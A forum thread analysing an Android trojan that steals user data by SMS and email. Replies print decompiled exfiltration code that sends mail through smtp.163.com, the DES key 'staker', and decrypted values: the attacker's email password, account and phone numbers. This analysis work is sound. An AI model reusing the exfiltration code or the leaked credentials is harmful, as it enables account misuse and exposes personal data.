首页
社区
课程
招聘
APK逆向求助
发表于: 2015-7-8 20:30 6683

APK逆向求助

2015-7-8 20:30
6683
各位老大,附件中的APK是个木马,通过短信和邮件窃取用户信息,samli中可发现接收手机号,但smtp.163.com所对应的账号无法找到,求路过高手帮忙,谢谢!!

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

上传的附件:
收藏
免费 0
支持
分享
最新回复 (11)
雪    币: 4
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
帮忙寻找账号?
2015-7-11 18:00
0
雪    币: 82
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
没写过邮件类应用,不过找到类似关键代码的东西。
在com.phone.stop.c.d类的d(Context)方法里面有一句
localb1.b("smtp.163.com", str3, str4);


查看该方法b(String,String,String),实现代码如下:
public void b(String paramString1, String paramString2, String paramString3)
  {
    this.c.setSentDate(new Date());
    this.c.setContent(this.d);
    this.c.saveChanges();
    Transport localTransport = this.b.getTransport("smtp");
    localTransport.connect(paramString1, paramString2, paramString3);
    localTransport.sendMessage(this.c, this.c.getAllRecipients());
    localTransport.addTransportListener(new c(this));
    localTransport.close();
  }

上面的代码应该就是发送邮件的了,没有深究。找回前面的str3,str4。
获取两个字符串的方法在com.phone.stop.db.a类的g()和i()方法:
  public String g()
  {
    return this.b.getString("send_email_account", "a6c7be89424beee740a2e7cd07cf2f598e2c10bd4959981e");
  }

  public String i()
  {
    return this.b.getString("send_email_pwd", "cfc69bfbf58f1d25a075fba7da9202c8d0c3804faf7f793c");
  }


而b是一个sp:
  private a(Context paramContext)
  {
    this.b = paramContext.getSharedPreferences("configurations_data", 0);
  }


账号和密码应该就是从sp里取的,但是什么时候存进去的还没看到,不过不纠结,你在smali插个桩打印下应该就可以看到的了。
2015-7-19 23:56
0
雪    币: 6362
活跃值: (707)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
4
里面用 DES 以及简单的转换
直接把 com.phone.stop.e.b 抠出来修一下
把加密过的字符串解密一下就可以了(楼上已经贴出来了send_email_account和send_email_pwd,还有两个:i_want_xxoo,app_end_time)
解密结果:
send_email_account: m13714277170@163.com
send_email_pwd: nacvgbpjizzosreq
i_want_xxoo: 13428697096
app_end_time: 2015-09-08 09:08:22
2015-7-20 12:03
0
雪    币: 61
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
send_email_account和send_email_pwd,主要是这个
2015-7-24 15:41
0
雪    币: 3
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
高手,学习了
2015-7-29 13:25
0
雪    币: 36
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
前几天我也截获一个,邮箱还是VIP163的
2015-7-31 17:27
0
雪    币: 9
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
请问具体解密的方法能告知一下吗。
2015-9-13 22:49
0
雪    币: 6362
活跃值: (707)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
9
com.phone.stop.c.f
public static String a(String arg2) {
        String v0_1;
        try {
            v0_1 = new b("staker").b(arg2);
        }
        catch(Exception v0) {
            v0.printStackTrace();
            v0_1 = "";
        }

        return v0_1;
    }


把要解密的字符串传入 a 返回的值就是解密结果

其中的 b 就是 com.phone.stop.e.b 抠出来修一下就可以了
2015-9-14 15:34
0
雪    币: 9
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
请问一下大神你是用的什么软件反编译的,我用的是改之理看的我一头雾水。
2015-9-14 19:19
0
雪    币: 1464
活跃值: (722)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
11
改之理打开APK,然后在project目录中找到逆向后的JAR包,用jd_gui打开即可。
2015-9-15 16:21
0
雪    币: 15
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
As this application is not protected by any APK protector.
You can use Dex2Jar (https://github.com/pxb1988/dex2jar) to decompile it to readable Java source code.

If you do a quick read of the decompiled source code, you will realise that it is using DES ECB mode to encrypt/decrypt the important information.

Next, you can look at com.phone.stop.c.f
Inside this class, function a contains the key to decrypt the important information.
public static String a(String paramString)
  {
    try
    {
      String str = new b("staker").b(paramString);
      return str;
    }
    catch (Exception localException)
    {
      localException.printStackTrace();
    }
    return "";
  }


The decryption method can be found in com.phone.stop.e.b class

Finally, to get all the information which you wanted.
Go to com.phone.stop.db.a class and you will find the following functions that uses the decryption method.

public String c()
  {
    return this.b.getString("i_want_xxoo", "c177d8e3b0dc0bf95e754bf8bcabdf83");
  }
  
  public String d()
  {
    return this.b.getString("app_end_time", "f836c71f8d6fa6d0957f3215d8b6f13fcef7f91916798b69");
  }

public String g()
  {
    return this.b.getString("send_email_account", "a6c7be89424beee740a2e7cd07cf2f598e2c10bd4959981e");
  }
  
  public String h()
  {
    return this.b.getString("receive_email_account", "a6c7be89424beee740a2e7cd07cf2f598e2c10bd4959981e");
  }
  
  public String i()
  {
    return this.b.getString("send_email_pwd", "cfc69bfbf58f1d25a075fba7da9202c8d0c3804faf7f793c");
  }


If you are too lazy to code the decryption method.
You can use this online too.
http://des.online-domain-tools.com/

Decrypting the following
this.b.getString("i_want_xxoo", "c177d8e3b0dc0bf95e754bf8bcabdf83");

will get you:
13428697096

this.b.getString("app_end_time", "f836c71f8d6fa6d0957f3215d8b6f13fcef7f91916798b69");

2015-09-08  09:08:22

this.b.getString("send_email_account", "a6c7be89424beee740a2e7cd07cf2f598e2c10bd4959981e");

m13714277170@163.com

this.b.getString("receive_email_account", "a6c7be89424beee740a2e7cd07cf2f598e2c10bd4959981e");

m13714277170@163.com

this.b.getString("send_email_pwd", "cfc69bfbf58f1d25a075fba7da9202c8d0c3804faf7f793c");

nacvgbpjizzosreq

Hope this is simple and useful. :D
2015-10-15 16:05
0
游客
登录 | 注册 方可回帖
返回
//